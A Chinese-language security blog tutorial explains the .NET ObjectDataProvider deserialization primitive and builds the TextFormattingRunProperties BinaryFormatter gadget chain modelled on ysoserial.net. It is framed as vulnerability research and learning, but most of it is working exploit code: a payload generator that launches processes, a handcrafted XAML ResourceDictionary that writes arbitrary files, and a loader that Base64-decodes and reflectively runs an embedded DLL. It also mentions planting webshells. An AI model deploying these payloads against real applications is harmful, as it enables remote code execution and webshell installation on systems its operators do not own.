在《DotNet安全-CVE-2022-23277漏洞复现》这篇文章中,我们想要通过反序列化漏洞直接写入文件的时候遇见了问题,当时觉得ObjectDataProvider除了使用执行命令的方式,无法通过执行代码的方式实现webshell的写入。在看了一些链相关的文章后,发现有许多链最终都依赖于ObjectDataProvider并且可以实现任意代码执行的功能,下面这篇文章我们来一起了解.net反序列化的基石之一的ObjectDataProvider。
ObjectDataProvider调用一般有两种形式,一种通过instance调用:
ObjectDataProvider obj = new ObjectDataProvider();
obj.MethodParameters.Add("calc");
obj.MethodName = "Start";
obj.ObjectInstance = new System.Diagnostics.Process();
一种是通过Type调用:
ObjectDataProvider obj = new ObjectDataProvider();
obj.MethodParameters.Add("calc");
obj.MethodName = "Start";
obj.ObjectType = typeof(System.Diagnostics.Process);
c# 获取type有三种方式:
方法一:
typeof(System.Diagnostics.Process)
方法二:
Type.GetType("System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", true,true);
方法三:
new System.Diagnostics.Process().GetType()
查看ObjectDataProvider构造函数:
public ObjectDataProvider()
{
this._constructorParameters = new ParameterCollection(new ParameterCollectionChanged(this.OnParametersChanged));
this._methodParameters = new ParameterCollection(new ParameterCollectionChanged(this.OnParametersChanged));
this._sourceDataChangedHandler = new EventHandler(this.OnSourceDataChanged);
}
这里ParameterCollectionChanged是委托
internal delegate void ParameterCollectionChanged(ParameterCollection parameters);
可以理解成函数指针,ParameterCollection的构造函数:
public ParameterCollection(ParameterCollectionChanged parametersChanged)
{
this._parametersChanged = parametersChanged;
}
在ParameterCollection的OnCollectionChanged函数触发会调用this._parametersChanged,实际上是通过委托的形式调用了ObjectDataProvider中的OnParametersChanged:
private void OnCollectionChanged()
{
this._parametersChanged(this);
}
ParameterCollection继承了System.Collections.ObjectModel.Collection,并重写了InsertItem等方法,InsertItem为protected方法,无法被直接调用。但InsertItem被父类的Add函数调用:
Add为public的方法,那么可以直接调用Add,进入InsertItem
进入OnCollectionChanged后通过委托进入ObjectDataProvider中的OnParametersChanged:
之后调用Refresh(),进入ObjectDataProvider的BeginQuery:
最终进入QueryWorker:
此时因为我们的代码先添加了MethodParameters并没有设置type:
ObjectDataProvider obj = new ObjectDataProvider();
obj.MethodParameters.Add("calc");
obj.MethodName = "Start";
obj.ObjectType = typeof(System.Diagnostics.Process);
所以进入异常:
接下来设置MethodName,直接进入Refresh逻辑:
和刚才一样进入异常:
接下来设置Type,成功设置type,依旧进入Refresh:
通过CreateObjectInstance函数创建实例
CreateObjectInstance通过获取的type和反射获取实例:
后续通过InvokeMethodOnInstance执行方法:
InvokeMethodOnInstance通过反射调用指定方法:
通过设置ObjectInstance方法执行代码和上面的大同小异,只不过少了从Type获取Intance的过程。ObjectDataProvider类似java中的cc,是执行任意代码的一种方式。
我们尝试直接使用binaryFormatter对ObjectDataProvider实例进行序列化发现失败
显然需要是标记了[Serializable]标签的类才可以被序列化,如:
既然我们无法直接对ObjectDataProvider进行序列化,那我们只要寻找到使用ObjectDataProvider实例作为参数并且可以序列化的类就可以了。在ysoserial.net中的 TextFormattingRunProperties给出了完整的利用。大概的利用流程是:
TextFormattingRunProperties -> XamlReader.Parse ->ResourceDictionary -> ObjectDataProvider -> Code Execute
TextFormattingRunProperties来自命名空间Microsoft.VisualStudio.Text.Formatting,看起来像装了VisualStudio才有的功能,但研究员在Microsoft.PowerShell.Editor.dll中也发现了该命名空间,该链作为windows系统下比较常见的一个链。
仿照ysoserial.net实现TextFormattingRunPropertiesMarshal链的例子:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Windows.Data;
using System.Windows;
using System.Xml;
using System.Runtime.Serialization.Formatters.Binary;
using System.Collections.Specialized;
using System.Collections.Generic;
using System.Runtime.Serialization;
using Microsoft.VisualStudio.Text.Formatting;
using System.Diagnostics;
using System.Windows.Data;
using System.Reflection;
namespace ObjectDataProviderExample
{
class Program
{
[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
{
}
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type typeTFRP = typeof(TextFormattingRunProperties);
info.SetType(typeTFRP);
info.AddValue("ForegroundBrush", _xaml);
}
public TextFormattingRunPropertiesMarshal(string xaml)
{
_xaml = xaml;
}
}
static void Main(string[] args)
{
ObjectDataProvider odp = new ObjectDataProvider();
odp.MethodParameters.Add("notepad");
odp.MethodName = "Start";
odp.ObjectType = typeof(System.Diagnostics.Process);
ResourceDictionary myResourceDictionary = new ResourceDictionary();
myResourceDictionary.Add("", odp);
XmlWriterSettings settings = new XmlWriterSettings();
settings.Indent = true;
StringBuilder sb = new StringBuilder();
using (XmlWriter writer = XmlWriter.Create(sb, settings))
{
System.Windows.Markup.XamlWriter.Save(odp, writer);
}
string text = sb.ToString();
TextFormattingRunPropertiesMarshal obj1 = new TextFormattingRunPropertiesMarshal(text);
BinaryFormatter binaryFormatter = new BinaryFormatter();
Stream stream = new FileStream("1.ser", FileMode.Create, FileAccess.Write, FileShare.None);
binaryFormatter.Serialize(stream, obj1);
stream.Close();
BinaryFormatter binaryFormatter1 = new BinaryFormatter();
FileStream stream2 = new FileStream(@"1.ser", FileMode.Open);
Object obj = binaryFormatter1.Deserialize(stream2);
}
}
}
尝试反序列化时报错,所没有提供MethodParameters,看xaml数据确实如此:
仿照ysoserial,通过指定StartInfo这个参数回避了这个问题:
xaml变化很大:
虽然报错,但反序列化已经执行:
我们写文件无法回避这个问题,无法通过直接调用myResourceDictionary.Add("", odp)的方式构造出xaml。
目前的解决办法就是手动进行构造xaml,这里使用zcgonvh师傅的轮子进行修改:
string text= @"<ResourceDictionary
xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
xmlns:x = ""http://schemas.microsoft.com/winfx/2006/xaml""
xmlns:s = ""clr-namespace:System;assembly=mscorlib"">
<ObjectDataProvider x:Key = ""x"" ObjectType = ""{x:Type s:IO.File}"" MethodName = ""AppendAllText"">
<ObjectDataProvider.MethodParameters >
<s:String>1.txt</s:String>
<s:String>aaaaaaaaaaaaaa</s:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
";
经过测试,可以成功写入文件。
TextFormattingRunProperties的构造函数中调用GetObjectFromSerializationInfo:
该函数调用 XamlReader.Parse解析xaml,后续解析ResourceDictionary再调用ObjectDataProvider
实现动态代码执行的功能c#中一般有两种方式,一种为jscript中的eval,如经典的菜刀webshell实现。另一种就是哥斯拉冰蝎等工具使用的反射加载技术。在ResourceDictionary我们同样可以使用反射加载技术。
首先生成一个dll:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Threading.Tasks;
namespace ClassLibrary1
{
public class Class1
{
public Class1() {
File.WriteAllText(@"c:\programdata\1.txt", "aaaaaaaaaa");
}
}
}
编译后生成对应的base64字符串:
import base64
with open("ClassLibrary1.dll","rb") as f:
t=f.read()
print(base64.b64encode(t))
需要命名空间.类名的形式进行调用,这里是ClassLibrary1.Class1:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Windows.Data;
using System.Windows;
using System.Xml;
using System.Runtime.Serialization.Formatters.Binary;
using System.Collections.Specialized;
using System.Collections.Generic;
using System.Runtime.Serialization;
using Microsoft.VisualStudio.Text.Formatting;
using System.Diagnostics;
using System.Windows.Data;
using System.Reflection;
namespace ObjectDataProviderExample
{
class Program
{
[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
{
}
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type typeTFRP = typeof(TextFormattingRunProperties);
info.SetType(typeTFRP);
info.AddValue("ForegroundBrush", _xaml);
}
public TextFormattingRunPropertiesMarshal(string xaml)
{
_xaml = xaml;
}
}
static void Main(string[] args)
{
string dllloader = @"<ResourceDictionary
xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
xmlns:xaml=""http://schemas.microsoft.com/winfx/2006/xaml""
xmlns:system=""clr-namespace:System;assembly=mscorlib""
xmlns:reflection=""clr-namespace:System.Reflection;assembly=mscorlib"">
<system:Object xaml:Key=""array"" xaml:FactoryMethod=""system:Convert.FromBase64String"" xaml:Arguments=""!!base64!!""></system:Object>
<reflection:Assembly xaml:Key=""assembly"" xaml:FactoryMethod=""reflection:Assembly.Load"" xaml:Arguments=""{StaticResource array}""></reflection:Assembly>
<ObjectDataProvider xaml:Key=""instance"" ObjectInstance=""{StaticResource assembly}"" MethodName=""CreateInstance"">
<ObjectDataProvider.MethodParameters>
<system:String>!!classname!!</system:String>
<system:Boolean>False</system:Boolean>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>".Replace("!!base64!!", "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAEmE27oAAAAAAAAAAOAAIiALATAAAAgAAAAGAAAAAAAAQicAAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACAAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAO4mAABPAAAAAEAAAJgDAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAABIJgAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAASAcAAAAgAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAJgDAAAAQAAAAAQAAAAKAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAADgAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAiJwAAAAAAAEgAAAACAAUAaCAAAOAFAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFoCKA8AAApyAQAAcHIrAABwKBAAAAoqAEJTSkIBAAEAAAAAAAwAAAB2NC4wLjMwMzE5AAAAAAUAbAAAALQBAAAjfgAAIAIAAFwCAAAjU3RyaW5ncwAAAAB8BAAARAAAACNVUwDABAAAEAAAACNHVUlEAAAA0AQAABABAAAjQmxvYgAAAAAAAAACAAABRxQAAAkAAAAA+gEzABYAAAEAAAARAAAAAgAAAAEAAAAQAAAADgAAAAEAAAABAAAAAAC2AQEAAAAAAAYAEQEZAgYAfgEZAgYARQDnAQ8AOQIAAAYAbQDPAQYA9ADPAQYA1QDPAQYAZQHPAQYAMQHPAQYASgHPAQYAhADPAQYAWQD6AQYANwD6AQYAuADPAQYAnwCcAQYASALIAQYAMgAfAAAAAAAWAAAAAAABAAEAAQAQAAEACABBAAEAAQBQIAAAAACGGOEBBgABAAkA4QEBABEA4QEGABkA4QEKACkA4QEQADEA4QEQADkA4QEQAEEA4QEQAEkA4QEQAFEA4QEQAFkA4QEQAGEA4QEVAGkA4QEQAHEA4QEQAHkA4QEQAIEA4QEGAIkATwIaAC4ACwApAC4AEwAyAC4AGwBRAC4AIwBaAC4AKwBtAC4AMwBtAC4AOwBtAC4AQwBaAC4ASwBzAC4AUwBtAC4AWwBtAC4AYwCLAC4AawC1AC4AcwDCAASAAAABAAAAAAAAAAAAAAAAAAgAAAAEAAAAAAAAAAAAAAAgACkAAAAAAAAAAAAAQ2xhc3MxAENsYXNzTGlicmFyeTEAPE1vZHVsZT4AU3lzdGVtLklPAG1zY29ybGliAEZpbGUAR3VpZEF0dHJpYnV0ZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAENvbVZpc2libGVBdHRyaWJ1dGUAQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBBc3NlbWJseVRyYWRlbWFya0F0dHJpYnV0ZQBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBDbGFzc0xpYnJhcnkxLmRsbABTeXN0ZW0AU3lzdGVtLlJlZmxlY3Rpb24ALmN0b3IAU3lzdGVtLkRpYWdub3N0aWNzAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAERlYnVnZ2luZ01vZGVzAE9iamVjdABXcml0ZUFsbFRleHQAACljADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXAAxAC4A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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==").Replace("!!classname!!", "ClassLibrary1.Class1");
TextFormattingRunPropertiesMarshal obj1 = new TextFormattingRunPropertiesMarshal(dllloader);
BinaryFormatter binaryFormatter = new BinaryFormatter();
Stream stream = new FileStream("1.ser", FileMode.Create, FileAccess.Write, FileShare.None);
binaryFormatter.Serialize(stream, obj1);
stream.Close();
/*
BinaryFormatter binaryFormatter1 = new BinaryFormatter();
FileStream stream2 = new FileStream(@"1.ser", FileMode.Open);
Object obj = binaryFormatter1.Deserialize(stream2);
*/
}
}
}
成功触发:
https://www.cnblogs.com/Ivan1ee/p/16265873.html
本文介绍了.net反序列化中比较简单的一条链TextFormattingRunProperties及c#中的cc链-ObjectDataProvider,同时推翻了之前的一些错误理解。
网络安全的学习,道阻且长,行则将至。与诸君共勉。